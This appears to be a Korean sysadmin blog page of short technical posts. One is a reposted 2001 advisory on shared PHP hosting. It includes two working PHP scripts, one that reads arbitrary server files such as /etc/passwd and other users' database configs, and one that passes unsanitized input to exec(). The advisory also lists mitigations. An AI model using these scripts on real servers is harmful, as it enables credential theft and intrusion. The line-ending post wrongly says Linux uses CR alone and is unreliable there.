pci@0000:00:1d.7          bus        82801DB/DBM (ICH4/ICH4-M) USB2 EHCI Controller
usb@1             usb1    bus        EHCI Host Controller
pci@0000:00:1e.0          bridge     82801 PCI Bridge
pci@0000:01:08.0  eth0    network    82801DB PRO/100 VE (LOM) Ethernet Controller
pci@0000:00:1f.0          bridge     82801DB/DBL (ICH4/ICH4-L) LPC Interface Bridge
pci@0000:00:1f.1          storage    82801DB (ICH4) IDE Controller
pci@0000:00:1f.3          bus        82801DB/DBL/DBM (ICH4/ICH4-L/ICH4-M) SMBus Controller

html과 xml로 내보내기 한 화면은 캡쳐화면으로 준비했으니 참고하시기 바랍니다.

* EX 3) html 내보내기 결과
사용자 삽입 이미지

* EX4 ) xml 내보내기 결과
사용자 삽입 이미지

사용법은 매우 간단하므로 하드웨어 정보가 필요 하다면 한번쯤 설치해서 정보를 확인해 보는것도 좋을것 같다.



참조 :
1) http://2cpu.co.kr/zboard/zboard.php?id=tiptech&page=1&sn1=&divpage=1&sn=off&ss=on&sc=on&select_arrange=name&desc=asc&no=66

2) http://ezix.org/project/wiki/HardwareLiSter

Comment +0

리눅스와 윈도우가 인식하는 \n(개행문자)에는 차이가 있다.

윈도우는 엔터키를 눌러 개행문자입력할 경우 해당 개행문자는  Carriage Return(CR)과 Line Feed(LF)가 함께 들어가게 된다. 즉, CR과 LF가 함께 들어가야만 하나의 라인이 끝난것으로 인식을 하는것이다.

하지만 리눅스는 Carriage Return(CR) 하나만으로 윈도우의 CR+LF기능을 함께 처리 한다.
따라서 윈도우에서 작성한 텍스트 파일 또는 소스파일을 그대로 Linux 시스템에 올리게 되면 해당 파일이 정상적인 작동을 하지 않는 경우가 발생 할 수 있는 것이다.

이는 윈도우에서 작성할때 입력된 CR은 VI에서 인식이 되나 LF가 인식이 되지 않기 때문이며, LF코드값을 삭제해 주면 정상적인 사용이 가능하다.

LF 코드값은 리눅스에서는 Vi 라는 에디터 프로그램을 이용하여 간단히 수정할 수 있다.

Vi에서 해당 파일을 오픈할때 그냥 오픈할 경우 LF값이 보이지 않으므로 바이너리(Binary)로 열어 코드값을 치환한다.


Ex ) vi -b 파일명


이걸 몰라 삽질을 20분!!! ㅜ_ㅜ 완전 안습쓰나미다... ㅜ_ ㅜ


PS. vi -b 파일명으로 열었을때 ^M 문자가 보이는 경우 정상적으로 스크립트가 실행되지 않을때가 있습니다. 이럴땐 ^M 문자를 없애야 하는데 이걸 어떻게 없애야 할지 걱정스러울 때가 있을 것 입니다. (아시는 분은 패에에에스~ ~)

vi에서 제일 아래 행으로 내리세요 (Shift + G)
: 를 누르셔서 실행창을 띄우신 후 아래와 같이 입력 하시면 됩니다.

: 1, s/^M//g
여기서 ^M을 입력하는 방법은 Ctrl키를 누르신 상태에서 V와 M을 순서대로 누르시면 입력이 가능 합니다.

Comment +0

오늘 갑자기 고객이 설치한 카운터가 안돌아간다고 연락이 왔다..

서버쪽에서 수정을 해달라는데 서버에서는 딱히 수정할 내용이 보이지 않았으며, 소스파일에도 문제는 없어 보였다..

하지만 해당 CGI 파일은 실행이 되지 않고 알수 없는 Internal Server Error만.... -_-;;;;;

에러로그 확인해보니 아래와 같이 뜬다...

[Mon Mar 19 10:36:21 2007] [error] [client 222.112.XXX.XXX] (2)No such file or directory: exec of '/home/XXXXXX/wwwhome/cgi-bin/supercounter/supercount.cgi' failed
[Mon Mar 19 10:36:21 2007] [error] [client 222.112.XXX.XXX] Premature end of script headers: supercount.cgi

아무리 네이버, 구글을 뒤져봐도 이에 대한 해결 방법이 없다.. -_- 썅...

하지만.. 단 한마디로 나를 감동시킨 우리 사수~ ㅜ_ㅜ

-U 옵션을 넣으라는 단 한마디에.. 눈물이 좌르륵~

해결방법은 다음과 같았다..

실행되는 CGI 파일을 열어 Perl에 대한 경로 뒤에 -U 옵션만 붙여주면 되는것이었다.

실행되지 않은 원인은 아마도 제작된 CGI 파일이 오래전에 제작된 구버전의 함수를 사용하기 때문이었으며, 구버전의 함수를 사용할 수 있도록 해주는 -U 옵션을 붙인결과 실행이 된것이다.

크흑.. ㅜ_ㅜ 역시 노하우 및 내공의 차이는 크다는걸.. 새삼 느끼는중.. ㅋ

-U 옵션을 --help로 보니 다음과 같다.

  -U              allow unsafe operations

안전하지 않은 Operation 들을 허용해주는 명령어란다. 즉, 구버전에서 사용된 함수들이 불안전 하기에 해당 옵션을 사용하지 않으면 기본적으로 Disable 되어 있는거 같다.

-_- 머.. 허접한 내가 주절거리는거니.. 이해하시길.. ㅋ

Comment +0

스팸어쎄신을 쓸지 보고 필터를 쓸지 생각하다가 2가지 모두 테스트 해보기로 했다.

테스트 환경은 P4 1.8, 512M Centos 4.4(Final) 이었으며, Bogofilter와 Spamassassin의 DB구성은 가지고 있던 스팸메일 8GB가량을 이용하여 학습시켰다.

<사용된 프로그램>
bogofilter-1.1.5
Spamassassin-3.1.8
Sendmail -8.13.1

테스트는 내가 받은 메일중 랜덤하게 스팸메일과 햄메일로 구분하여 테스트 하였으며, 그에 따른 갯수와 시간차이는 아래와 같다.

---------------------------------------------------------------------------
bogofilter 테스트 결과
1차 : 246개 / 5.71088504791 Sec [Spam Mail - total 2.8Mb]
2차 : 50개 / 1.11812186241 Sec [Spam Mail - total 572kb]
3차 : 50개 / 1.02395009995 Sec [Ham Mail - total 552kb]
4차 : 948개 / 233.392926931 Sec [Spam Mail - total 49Mb]
---------------------------------------------------------------------------

---------------------------------------------------------------------------
SpamAssassin 테스트 결과
1차 : 246개 / 747.7881019617 Sec [Spam Mail - total 2.8Mb]
2차 : 50개 / 150.555448055 Sec [Spam Mail - total 572kb]
3차 : 50개 / 150.555171013 Sec [Ham Mail - total 552kb]
4차 : 948개 / 2840.07560301 Sec [Spam Mail - total 49Mb]
---------------------------------------------------------------------------


우선 처리 결과에서는 Bogofilter가 압승이다. -_-;;

시간뿐만 아니라 필터링 된 메일 목록들을 확인해 보아도, 스팸메일과 햄메일을 분명하게 구분한건 보고필터였다.

50개씩 테스트 한 것이 그에 대한 부분이며, Spamassassin은 햄메일을 스팸으로 인식하거나, 스팸을 햄으로 인식해버리는 경우가 스팸,햄 모두 합하여 100건중 14건이 발생하였고, 보고필터는 스팸은 모두 스팸으로 인식하고, 햄은 50개중 2개만 스팸으로 잘못 인식했다.

물론, 같은 메일을 가지고 테스트 한 것이며, 속도 차이 뿐만 아니라 필터링 결과에서도 Bogofilter가 Spamassassin보다 앞선것이다.

내가 셋팅을 잘 못해서 그런건지는 모르겠지만, 스팸어세신의 속도.. 상당히 치명적인다.

약 1000개 메일을 처리하는데 50분 가량걸린다니.. ㅜ_ㅜ


우선은 Bogofilter를 셋팅하는것으로 확정이닷!! ㅋㅋ

Comment +0

고객한테 전화가 왔다..

우리쪽에서 정기적으로 발송해 주는 메일이 다 깨져서 보이지가 않는다는....

php에서 mail함수를 이용해 발송하는 소스인데..

특별한 문제는 없어보였다..

다만, 해당 메일을 Daum이나, Paran에서 받으면 무조건 메일 내용이 안보이거나 깨져버린다는거였다..

-_- 메일 내용 인코딩에 문제가 있나하고.. 뒤져봐도 해결은 안되네..

도대체 뭐가 문제일까 .. 케릭터 셋도 바꿔보고 이것저것 뒤적뒤적 해봤는데 완전 삽질...

내 사수가 만들어 놓은 소스 -_- 참.. 간략하게 만들었더라.. ㅋㅋ

알고보니 함수 하나 더 써주면 쉽게 해결될 것을 완전 삽질한거다..

단 한가지!!!
chunk_split

(PHP 3>= 3.0.6, PHP 4 , PHP 5)

chunk_split -- 문자열을 작은 조각으로 나눕니다.

설명

string chunk_split ( string body [, int chunklen [, string end]])

문자열을 작은 조각으로 나눕니다. base64_encode 출력을 RFC 2045 의미에 맞게 변환할 때 쓸 수 있습니다. 모든 chunklen 문자마다 (기본값 76) end(기본값 "\r\n")를 추가합니다. 원 문자열은 변경하지 않고, 새로운 문자열을 반환합니다.

예 1. chunk_split() 예제

<?php
// RFC 2045 의의에 맞게 $data를 형식화
$new_string = chunk_split(base64_encode($data
));
?>

참고: str_split(), explode(), split(), wordwrap(), RFC 2045.



위 내용 그대로다.. base64로 encoding 한 데이터를 RFC2045 에 맞도록 변환해주는 기능을 한다.
잘게 쪼개는 기능도 있지만, RFC 형식에 맞도록 컨버팅을 해주므로, 올바른 데이터가 전달 될 수 있는것이다.

실제 내가 테스트로 발송했던 메일들의 인코딩 된 내용들을 확인해 보니, 어째서인지는 모르겠지만 들어가서는 안되는 특수문자들이 몇가지 들어가 있었다.. Base64에서는 지정된 몇개의 특수문자 외에 다른 특수문자는 들어가면 안되었던것이다..;;

이걸 모르는 내 무지함이란.. 크..
아무튼.. 여자저차 해서 Chunk_split이라는 명령어를 통해 아래처럼 구성해서 데이터 넣어보니 메일들이 정상적으로 수신될 수 있게 조치했으므로, 문제 해결~?

chunk_split(base64_encode($content), 76, "\n")

그나저나 우리 사내 메일 시스템하고 naver는 -_- 그냥 쓰레기 값은 무시하는것인가.. 흠..
좋은거야? 나쁜거야?

Comment +0

PHP의 fopen을 이용한 정보유출을 막기위한 방법에 대하여....

* 웹호스팅 업체 및 무료계정 서버 운영자님은 필독해주십시요.
* 본 문서는 2001년 3월 29일 koreaphp.co.kr에서 정식 발표하는 것입니다.
* 문의는 koreaphp.co.kr PHP Q&A란에 올려주시구요.
* 더 좋은 해결방안을 가지신 분이나 리눅스에서 acl 설치방법 및 사용방법을 아시는 분은
webmaster@koreaphp.co.kr 노영환(오렌지블루)에게 메일 주시기 바랍니다.


PHP의 fopen함수를 사용하면 nobody 파일을 읽어서 확인할 수 있습니다.

먼저 1.php파일과 2.php 파일을 자신의 PHP계정에 올립니다.
그리고 먼저 1.php를 실행시킨 후에 텍스트입력창에
/etc/passwd 라고 타자하고 클릭을 하면 계정과 절대경로가 나타나집니다.
(passwd파일은 nobody에서 읽을 수 있기 때문입니다.)

그리고 계정명을 가지고 서버의 홈페이지에 접속해 봅니다.
korea1이 계정일 경우 브라우저로 www.koreaphp.co.kr/~korea1/
에 접속해 봅니다.

그리고 나서 제로보드인지 perl cgi인지를 확인해 보고
제로보드일 경우에는 제로보드가 설치된 경로를 찾아서 *****.php3를
열어 봅니다.
(제로보드를 예를 드는 이유는 제로보드가 가장 유명한 보드이기 때문입니다. 오해마세요. 너무 많이 사용되다 보니 걱정스러워서 적은 내용입니다.)
그러면 MYSQl디비명과 디비명, 비번을 보실 수 있습니다.

또 httpd.conf 파일을 열어보면 서버에 설치된 모든 도메인설정상황도 알아볼 수 있습니다.

계정명과 디비명을 같이 사용하시거나 디비비번과 계정비번이 같은 경우에는
텔넷 서비스를 하는 경우 계정으로 접근이 가능하게 됩니다.

리눅스 시스템을 조금만 아는분이라면 누구라도 서버를 이 잡듯이 뒤져볼수 있게 됩니다.

1.php
-----------------------------------------
<?
if($file){
$fp = fopen($file, "r");
   if(!$fp){
   echo ("읽을 수 없는 파일입니다.");
   }
   $contents = fread($fp, filesize($file));
   fclose($fp);
   echo "contents = $contents";
} else {
   echo ("
    <html>
       <form method=post action=$PHP_SELF>
       보고싶은 절대경로와 파일을 적으세요<br>
       <input type=text name=file>
       <input type=submit>
       </form>
       </html>
       ");
}
?>
----------------------------------------

2.php
----------------------------------------
<?
if($dir){
   exec("dir -al $dir",$contents,$error);
   if($error){
   echo "이 디렉토리를 볼 수 없습니다.";
   } else {
       while (list ($key, $val) = each ($contents)) {
    echo "$key => $val<br>";
       }
   }
} else {
   exec("pwd",$pwd,$error);
       echo ("현재 자신의 경로는 $pwd[0] 입니다. <br>");
   echo ("
    <html>
       <form method=post action=$PHP_SELF>
       보고싶은 디렉토리의 절대경로를 적으세요<br>
       <input type=text name=dir>
       <input type=submit>
       </form>
       </html>
       ");
}
?>
----------------------------------------


방지책

1. 솔라리스에서 사용하는 acl권한을 사용하면
rw-------+ 파일퍼미션이 이렇게 바뀌어서 자기 계정이외의 파일은
볼 수 없다고 합니다. (저는 acl을 사용할지 모릅니다. 불행히도.)

2. PHP.ini를 수정하여 safe_mode를 On하면 자기 계정 이외의 파일은 열어 볼 수 없습니다.
단 파일 업로드시에 이미 만들어진 nobody의 777 퍼미션의 경우에도 업로드가 안됩니다.
다른 방법으로 임시업로드 파일디렉토리를 /tmp에서 변경해 사용할 수 있다고 하지만
잘 적용되지 않고 멀티 유저가 사용하는 환경에서 적용하기 어렵습니다.

3. 제가 적용한 방법
아주 간단하게 php.ini에서 disable_functions    = fopen 이라고 적어서
fopen을 막아버렸습니다. 가능하다면 disable_functions    = fopen , exec 도 해버리면
좋겠습니다.
그래도 불안하시거나 exec를 사용해야 하는 경우라면 dir, ls , ll ,등의 명령어를
770으로 줘버리시기 바랍니다.
현재 더 좋은 방법을 찾고 있습니다. 이 방식은 PHP에서만은 제대로 작동되지만
c 또는 perl cgi에서는 막을 방법이 1번 방법밖에 없는 것으로 생각됩니다.
(perl에서 이와 같은 문제를 막을 방법을 아시는 분은 메일 주시기 바랍니다.)
겉들어 텔넷을 막아버리는 것두 좋은 방법이겠군요.


해결방안을 위한 대책

본 문제에 대하여 해결방안을 같이 생각해보실 분은 webmaster@koreaphp.co.kr 오렌지블루
노영환으로 메일 보내주시기 바랍니다.
phpschool.com에서 질문에 답변해주신 분들과 글 남겨주신분들에게도 감사드립니다.
(예전에 Dos공격을 keepalive를 off해서 막아내듯이 편법으로만 모든 문제를 해결하는 것 같아 고민입니다. 많은 분들이 좋은 의견 보내주세요 정리해서 다시 올리겠습니다. 서버 운영하기 참 힘드네요. 참고로 koreaphp.co.kr무료계정은 막아두엇습니다. cgi도 안되구욤 그러니 제발 어케 해보실 생각은 마세욤...)

운영자님 혹시 소스가 문제가 발생할 것 같으면 소스부분은 삭제해두 됩니다.


펌 : http://www.phpschool.com/gnuboard4/bbs/board.php?bo_table=tipntech&wr_id=2579

Comment +0

이 글은 개인적인 견해이며, 생각입니다. '_'a

얼마전 고객이 갑자기 사이트가 늦게 뜬다고 하며, 전화가 왔다.
HTTPwatch와 로그를 확인해 보았으나, 사이트가 늦게 뜨는 이유는 안보인다..
대체 왜 제로보드를 이용한 페이지만 늦게 뜰까..
구글, 네이버, 슈퍼유저, 커피닉스 기타 등등 별별 사이트를 찾아봐도 해결 방법이 없다;;

하루가 지나고, 이틀이 지났다.

고객 사이트내 제로보드 관리자 페이지에 접속했다.
갑자기 보인 한부분 두둥!!

각 게시판의 연결 부분을 보니 상대경로가 아닌 URL로 각 파일들을 Include 하는것이다 -_-;;

즉 제로보드게시판 내용 외에 Top부분과 Foot 부분을 Include 하는 부분들의 경로가 아래처럼 다 URL인것이다.

예시 : http://www.lovetonight.net/zboard/foot.php

Include 하는 경우 경로가 URL로 되어 있을 경우 서버에서 DNS조회후 해당페이지를 열게 되는데
이게 또 DNS 조회할때 시간이 오래 걸린다. -_-; 서버 이상도 한몫했고, 조회하는 KT DNS가 자주 불안정 한점에서도 한목 단단히 한거다.

생각해봐도 속도가 느릴수 밖에 없는거다... ㅋ 바로 아래 폴더를 상대경로로 불러오는게 빠른지. 아니면 URL주소를 Resolve 해서 아이피 확인한 후 해당 서버에 접속해서 파일을 불러오는게 빠른지.. -_- ..

젠장할..

include 부분을 상대경로로 변경하니 사이트가 언제 늦게 떴었냐는듯 정말 빠르더라.. -_-;;
머.. 덕분에 이틀간 생각했던 삽질들은 내 노하우가 되긴 했지만..

그냥 다들 참고만 하세요. 혹시라도 제로보드가 늦게 뜨는 경우 .. 제로보드내에서 Include 하는 부분이 URL로 되어 있는건 아닌지.. 점검해 보시기 바랍니다. :-)


혹시라도 기업사이트 또는 개인적인 사이트를 운영하시는 분들중 이 글을 보시는분들께 고합니다.

제로보드.. 생각보다 취약점 많습니다. 패치 나오면 항상 패치 해주시구요. 자주 들어가셔서 버그픽스 된 사항들 체크하셔서 운영하시는게 좋습니다.

제로보드의 경우 해외 크래커들이 잘 뚫는 편이니..
언제나 사이트내 보안을!!! 신경쓰세요..

머.. 저도 신경을 안쓰고 있습니다만, 앞으로는 좀 신경을 써야겠네요~ ^^;

Comment +0